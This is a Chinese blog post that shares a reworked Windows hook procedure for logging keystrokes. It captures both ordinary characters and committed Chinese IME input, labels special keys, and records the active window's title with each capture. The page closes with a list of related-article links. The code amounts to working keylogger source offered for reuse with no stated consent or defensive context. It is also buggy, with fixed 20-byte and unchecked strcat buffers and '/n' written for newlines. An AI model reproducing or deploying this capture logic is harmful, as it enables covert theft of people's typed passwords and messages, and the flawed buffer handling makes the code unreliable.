关于中文hook的一些问题的处理

HOOK截获中文输入会出现响应多次的情况。 当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好"实在不解。。代码如下 case WM_IME_COMPOSITION: //MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK); //if (m_hEditWnd == pmsg->hwnd 阅读详情

使用钩子记录键盘敲击的字符并不困难,但是如果要直接记录中文输入的内容就不那么容易了。本文应用了IME以及相应的IME消息WM_IME_COMPOSITION实现这一目的,但是对于VK的过滤并不是很成功,现在贴出我的修改版本。当然原来的已经相当不错了,精益求精而已

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
 PMSG pmsg = (PMSG)lParam;
 if(nCode==HC_ACTION)
 {
  switch(pmsg->message)
  {
  case WM_IME_COMPOSITION:
   {
    //窗口判定
    hCurWin=::GetActiveWindow();
    ::GetWindowText(hCurWin,CurWin,100);
    if(strcmp(CurWin,PriWin)!=0)
    {
     ::GetWindowText(hCurWin,PriWin,100);
     strcat(Content,"/n<");
     strcat(CurWin,">/n");
     strcat(Content,CurWin);
    }
    HIMC hIMC;
    DWORD dwSize;
    char lpstr[20];
    if(pmsg->lParam & GCS_RESULTSTR)
    {
     hIMC = ImmGetContext(hCurWin);
     dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
     dwSize += sizeof(WCHAR);
     memset(lpstr, 0, 20);
     ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
     
     strcat(Content,lpstr);
     ImmReleaseContext(hCurWin, hIMC);

    }
    break;
   }
  case WM_CHAR:
   {
    hCurWin=::GetActiveWindow();
    ::GetWindowText(hCurWin,CurWin,100);
    if(strcmp(CurWin,PriWin)!=0)
    {
     ::GetWindowText(hCurWin,PriWin,100);
     strcat(Content,"/n<");
     strcat(CurWin,">/n");
     strcat(Content,CurWin);
    }
    int nIsVK=0;
    char ch[2];
    for(int m=0; m < MAX_VK_NUM ; m++)
    {
     if(pmsg->wParam==(WPARAM)VKMap[m].VKNum)
     {
      strcat(Content,VKMap[m].VKText);
      m = MAX_VK_NUM;
      nIsVK = 1;
     }
    }
    
    if((nIsVK==0)&&( (pmsg->wParam)<127 ) )    //主要是在这里 把 ASCII马的范围进行一些限制 

//这样 IME条件下输入的VK将被过滤…
    {
     ch[0]=(char)(pmsg->wParam);
     ch[1]='/0';
     strcat(Content,ch);
    }
    
    break;
   }
  }
 }
 return(CallNextHookEx(Hook, nCode, wParam, lParam));
}

我还定义了一个 VK相关的结构体 以缩短 记录函数的长度

#define MAX_VK_TEXT_LEN 15
#define MAX_VK_NUM 11
typedef struct _vkmap           //定义VK映射表
{
 int VKNum;
 char VKText[MAX_VK_TEXT_LEN];
}VKMAP;


VKMAP VKMap[MAX_VK_NUM]=         //为VK映射表赋值
{ 
 {VK_ESCAPE,"[esc]"},
     
 {VK_RETURN, "[enter]"},
 {VK_SPACE, "[space]"},
 {VK_BACK, "[backspace]"},

 {VK_LCONTROL,"[left ctrl]"},
 {VK_RCONTROL,"[right ctrl]"},
 {VK_LSHIFT,"[left shift]"},
 {VK_RSHIFT,"[right shift]"},
 {VK_LMENU,"[left alt]"},
 {VK_RMENU,"[right alt]"},
 {VK_TAB,"[tab]"}

 //{VK_NUMLOCK,"[numlock]"},
 //{VK_CAPITAL,"[capslock]"},
 //{VK_SCROLL,"[scrolllock]"},

 //{VK_UP,"[up]"},
 //{VK_DOWN,"[down]"},
 //{VK_LEFT,"[left]"},
 //{VK_RIGHT,"[right]"},

 //{VK_END,"[end]"},
 //{VK_HOME,"[home]"},
 //{VK_INSERT,"[ins]"},
 //{VK_DELETE,"[del]"},
 //{VK_PRIOR,"[pageup]"},
 //{VK_NEXT,"[pagedown]"},

 //{VK_SNAPSHOT,"[print screen]"},
 //{VK_PAUSE,"[pause]"},

 //{VK_LBUTTON,"[mouse left]"},
 //{VK_RBUTTON,"[mouse right]"}
};

这里是情况而定,有些vk需要进行顾虑。有可能MessageProc用WM_CHAR捕捉的输入 与WH_KEYBOARD这个,也就是KeyboardProc这个函数用的机制不一样,很多符号键与VK是相重复的,以前我用的是键盘处理的函数,所以那些VK是可以截获的。希望对大家有所帮助!

逆向分析必备:给你的X64dbg装上“中文眼睛”,告别字符串搜索乱码 本文详细介绍了如何通过x64dbg_tol插件解决X64dbg在处理中文字符串时的乱码问题,提升逆向工程效率。文章涵盖插件安装步骤、技术实现原理及实战对比,帮助逆向工程师告别字符串搜索乱码,优化多语言环境下的分析体验。 阅读详情

相关推荐

VC++ 实战:无Hook中文键盘记录实现

键盘记录技术作为系统级编程的重要应用,广泛应用于输入监控、安全审计及用户行为分析等领域。在Windows操作系统中,键盘事件的生成涉及从硬件中断到用户界面消息的完整流程,涉及内核模式与用户模式的协同处理。理解这一机制是实现键盘监听的基础。本章将从Windows底层输入模型出发,介绍键盘事件的产生、消息队列的传递机制,以及常见的键盘记录实现方式,如Hook技术与用户态轮询方法。同时,为适应现代系统安全机制的发展,我们还将引出不依赖Hook的替代方案,为后续章节的具体实现打下坚实的理论基础。

weixin_33256096的博客 1181

关于HOOK截获中文输入

未语愁眸 4768

如何制作Mike21溢油模型围油栏文件

这段时间群友在做海洋环评的做了一个MIKE21的溢油模型,溢油模型其实也是ECOLAB模块的应用,而在海上发生溢油事件的时候,为防止溢油对海洋生态的破坏,经常使用的一种手段就是使用围油栏技术将溢油控制在一定范围并进行处理。今天小编就给大家说说在MIKE21里怎么实现围油栏文件的制作

zhuzhujiayoua的博客 1329

TIP linux下hook memset函数

linux下hook memset函数 memset在libc.so中。hook可以帮助我们查找一些问题,比如hook memset可以根据某些memset参数特征记录一些信息,可以记录下调用栈信息。 hook的代码: #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <dlfcn....

羽飞的专栏 544

ansys workbench 静力结构分析 高阶教程

ansys workbench 静力结构分析 高阶教程 目录ansys workbench 静力结构分析 高阶教程新建工程模型导入设置材料模型简化: 主要内容: 材料设置、模型简化、网格细化、约束分析、接触设置、求解设置、报错处理、结果分析 基础教程: ansys workbench 静力结构分析 基础操作流程(入门) ansys版本: 19.0(16.0及以上均可) 参考资料: 推荐教学视频《有限元分析 张晔》(超详细 ???? )、ansys workbench 超级学习手册(查阅用) 说明:一些基

weixin_43434624的博客 5万+

FFTW库安装与使用(3.3.5版本)

FFTW库安装与使用一、FFTW库介绍与下载二、FFTW库安装三、FFTW库测试 一、FFTW库介绍与下载   FFTW ( the Faster Fourier Transform in the West) 是一个快速计算离散傅里叶变换的标准C语言程序集,其由MIT的M.Frigo 和S. Johnson 开发。可计算一维或多维实和复数据以及任意规模的DFT,且运行速度比Eigen和opencv自带的FFT库函数快10倍以上。   下载链接:http://www.fftw.org/install/wind

Jhon_ranble的博客 2万+

Hook技术:奇妙的调试Hook技术详解(附源码)

为什么叫做奇妙的调试Hook呢?因为在学习《逆向工程核心原理》的过程中,发现hook的方式千变万化,越觉得欣喜,相较于其他的Address Hook、Inline Hook,调试Hook让我觉得独特。 调试Hook什么是调试Hook?实现原理实现流程实战练习优缺点源码示例 什么是调试Hook? 调试Hook是通过调试方式进行的API钩取函数。 在这之前我们先了解一点调试器的知识。 调试器用来确认被调试者是否正确运行,发现未知的错误。调试器能够逐一执行被调试者的指令,拥有对调试器与内存的所有访问权限。 每当被

weixin_43742894的博客 3147

Echats-wordcloud 文字云图的踩坑点【Unknown series wordCloud】

一直都是报 【ECharts Unknown series wordCloud】这玩意可能要刷脸,祝你好运吧~

Sky_Bug的博客 2418

各种HOOK方式和检测对抗方法

hook翻译过来是拦截的意思, 我们很多时候也叫钩子,其实是很形象的.hook有什么作用呢?1.当代码执行到某行时,获取寄存器值和内存里的值,进行调试分析,例如hook明文包.2.当代码执行到某行时,插入想执行的代码.例如迅雷拦截发包函数.3.当代码执行到某行时,修改寄存器,达到某些篡改目的.

任鸟飞2217777779的博客 1万+

蓝牙RSSI定位实战:用Arduino+BLE4.0搭建厘米级室内定位系统(附完整代码)

本文详细介绍了如何利用Arduino和BLE4.0模块构建厘米级精度的蓝牙RSSI室内定位系统。通过硬件选型、系统架构设计、三点定位算法实现及误差补偿技术,实现在商场导览、仓储管理等场景中的高精度定位。附完整代码和实测数据,帮助开发者快速部署商用级解决方案。

peace的博客 897

【AI黑话日日新】什么是对比学习?

模型效果高度依赖大规模、高质量的人工标注数据。数据标注不仅成本高昂、周期漫长,在医疗、工业、小众垂类等场景中,甚至难以获取足量的标注样本,严重限制了模型的泛化能力与应用边界。自监督学习的出现,为解决这一问题提供了全新思路——无需人工标注标签,而是利用数据自身的结构与内在关联,构建自生成的监督信号完成模型预训练,再通过微调适配下游任务。在众多自监督学习方法中,对比学习(Contrastive Learning)

专注:太空算力、AI infra、异构调度、大模型成本工程 730

WM_IME_COMPOSITION各项值的含义

  当用户改变了编码状态时,发送此消息WM_IME_COMPOSITION  应用程序可以通过调用ImmGetCompositionString获取新的编码状态。  wChar=   wParam;       最后输入到编码窗口的2字节的DBCS字符  lAttribute=   lParam;  当前编码的含义。  lAttribute可取下列值得组合:  值     

RENYUAN 6035

如何实现Docker镜像导入导出 ?

摘要: Docker镜像迁移与备份可通过两种方式实现:1)镜像操作(save/load)完整保存分层结构和元数据,适用于完整备份;2)容器操作(export/import)仅保存文件系统快照,适合创建轻量模板。关键区别在于前者保留历史记录和分层,后者生成单层镜像。save/load命令示例:docker save -o nginx.tar nginx:latest,export/import示例:docker export -o container.tar abc123 && docker

weixin_39291964的博客 875

iOS开发_HOOK

我们在使用NSURLRequest时,传入请求地址URL,但是如果URL中有中文的话,我们会发现NSURLRequest的请求地址会报空- (void)viewDidLoad { [super viewDidLoad]; NSURL * url =[NSURL URLWithString:@"http://www.baidu.com/中文"]; NSURLRequest * r

十二指环的博客 572

【教程4>第6章>第3节】LS信道估计与均衡系统MATLAB仿真实现

1]姬国伟,葛利嘉,龙秀虹.基于LS信道估计的SC-FDE系统性能研究[J].军事通信技术, 2010(1):6.DOI:CNKI:SUN:JSTY.0.2010-01-013.在无线通信中,信号在空间传播时,随着传输距离增加,能量会逐渐扩散,导致信号幅度减小,即发生衰减。第四个图表示的是提取的信道估计值,可以看到,在不插值的前提下,得到的信道估计值基本接近真实的信道h。从第五个图可知,通过信道估计,对接收信号进行了校正和补偿。信道模型,先通过awgn加入噪声,然后乘以hreal,模拟通过信道。

FPGA/MATLAB学习教程/源码/项目合作开发 389

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

完美解决Calibre中文路径乱码问题:3步实现原生中文支持

你是否曾为Calibre自动转换中文路径而苦恼?当"科幻小说"变成"Ke_Huan_Xiao_Shuo",不仅破坏了原有的组织逻辑,更让文件管理变得异常困难。现在,通过这款专业的路径保护插件,你可以彻底告别这个困扰。 ## 问题根源深度剖析 Calibre作为一款优秀的电子书管理软件,在处理非英文字符路径时存在固有的局限性。其内置的路径转换机制会将中文、日文、韩文等字符自动转换为拼音或拉丁字符

gitblog_00685的博客 440

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

19.9.21日报:修复flash中文问题

flash的中文问题比较麻烦,参考了chrome的代码:E:\mycode\chromium.bb-master\src\content\child\npapi\webplugin_ime_win.h 得知,要IAT hook flash里的ImmAssociateContextEx api。原因是因为flash是通过这几个api去取ime发来的字符串,而不是通过WM_CHAR消息。 然后在这...

weolar的专栏 334

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

使用消息钩子实现CEGUI中文输入

      CEGUI是OGRE默认推荐的一个界面库.虽然Ogre官方表示CEGUI不是唯一的选择,但是我想很多人会因为Ogre的关系而选择CEGUI库.但是CEGUI内部使用的是UNICODE,使得在支持中文上有一些问题.      目前网上解决方案大多是不使用Ogre的默认的窗口,而是自己使用windows API创建自己的窗口,处理WM_CHAR消息,实现中文输入.但我觉得这个方案似乎动

萧瑟秋风的专栏 3118

React搜索框优化指南:防抖+中文输入处理的最佳实践(附完整Hook实现)

本文详细介绍了React搜索框优化方案,重点解决防抖与中文输入处理的冲突问题。通过分析中文输入法的事件机制,提供完整的Hook实现方案,确保拼音输入阶段抑制无效请求,中文确认后立即触发搜索,显著提升用户体验。附TypeScript支持和性能优化技巧,适用于电商、社交等实时搜索场景。

weixin_29011993的博客 211

3步彻底告别Calibre路径乱码:中文文件命名完美保留实战指南

你是否曾经遇到过这样的困扰:精心整理的中文电子书文件夹,在导入Calibre后变成了毫无意义的拼音组合?原本清晰的"科幻小说合集"变成了"Ke_Huan_Xiao_Shuo_He_Ji",不仅破坏了原有的组织逻辑,更让文件查找变得异常困难。这正是Calibre默认路径处理机制带来的不便。 现在,Calibre Do Not Translate My Path插件为你提供了一个完美的解决方案。这款

gitblog_00010的博客 692

Arch Linux 键盘快捷键配置:sxhkd 与 xbindkeys 的选型、最小配置与排障

archinstall 是 Arch Linux 的引导式安装器,负责分区、软件包选择与系统配置,其中也包含键盘布局与桌面环境的默认处理。本文以 Arch Linux 键盘快捷键配置为主线:先给出 sxhkd 与 xbindkeys 的选型结论,再提供两段可直接运行的最小配置,最后整理按键不生效时的排障清单。 ## 场景:把三次点击压缩成一次按键 在 bspwm 这类平铺式窗口管理器(自动把窗

gitblog_00942的博客 149

Claude Code 知识预热实战:用 /prime 命令为 AI 编码助手装载代码库全景上下文

> 本文以 WISC 框架用例中的 [/prime 命令](https://link.gitcode.com/i/4845d9f97b69b8dddbc9a51573a88e65)为蓝本,拆解如何把“知识预热(Knowledge Priming)”落地为一条可复用的 Claude Code 斜杠命令——在会话启动阶段,用一组确定性的 shell 命令与定点文件读取,在数分钟内把大型 monorep

gitblog_00408的博客 225

防抖+中文输入双杀!React搜索框优化实战(附完整hook实现)

本文详细介绍了React搜索框优化中的防抖技术与中文输入法处理方案。通过自定义Hook封装,结合onChange事件与composition事件处理,解决了频繁触发和中文输入异常问题,提供了完整的TypeScript实现和性能优化建议,适用于电商、社交等需要高效搜索的场景。

weixin_29013129的博客 186

终极指南:如何彻底解决Calibre中文路径翻译问题的NoTrans插件

你是否曾经在使用Calibre管理电子书时,发现原本清晰的中文书名在传输到设备后变成了一串难以理解的拼音字母?Calibre路径翻译插件NoTrans正是为解决这个困扰中文用户多年的路径翻译问题而生的终极解决方案。这个简单却强大的插件能够完美阻止Calibre自动将中文路径转换为拼音,让你的电子书管理体验更加顺畅和专业。 ## 📚 场景化问题:为什么中文路径会变成拼音? Calibre作为全

gitblog_00075的博客 182

rails代码自动部署之webistrano

webistrano 是 Capistrano的web版. webistrano的相关资料: http://github.com/peritor/webistrano Capistrano相关文档见  http://www.capify.org/index.php/Capistrano在centos上使用该工程遇到的问题, 当使用该工具部署的时候,一旦代码里有中文的文件名的时候,总是提示svn: Can't convert string from 'UTF-8' to native encoding:

puts "hello saint!" 3070

智能路径管理插件:3步解决Calibre中文目录显示问题

你是否在使用Calibre管理中文电子书时,经常遇到书库路径被自动转换为拼音或ASCII编码的问题?Calibre作为一款优秀的电子书管理软件,在处理中文路径时存在一些限制,导致用户无法直接使用中文目录名称。calibre-do-not-translate-my-path插件正是为解决这一问题而生,它能够智能控制Calibre不再将各种路径拉丁化,包括书库路径、发送到设备的文件路径等,让你轻松管理

gitblog_00005的博客 92
上一篇: HOOK截获中文输入的方法
下一篇: 北京,钟鼓楼,后海,我的家,你们想我么?
brain_
博客等级 码龄22年 4粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值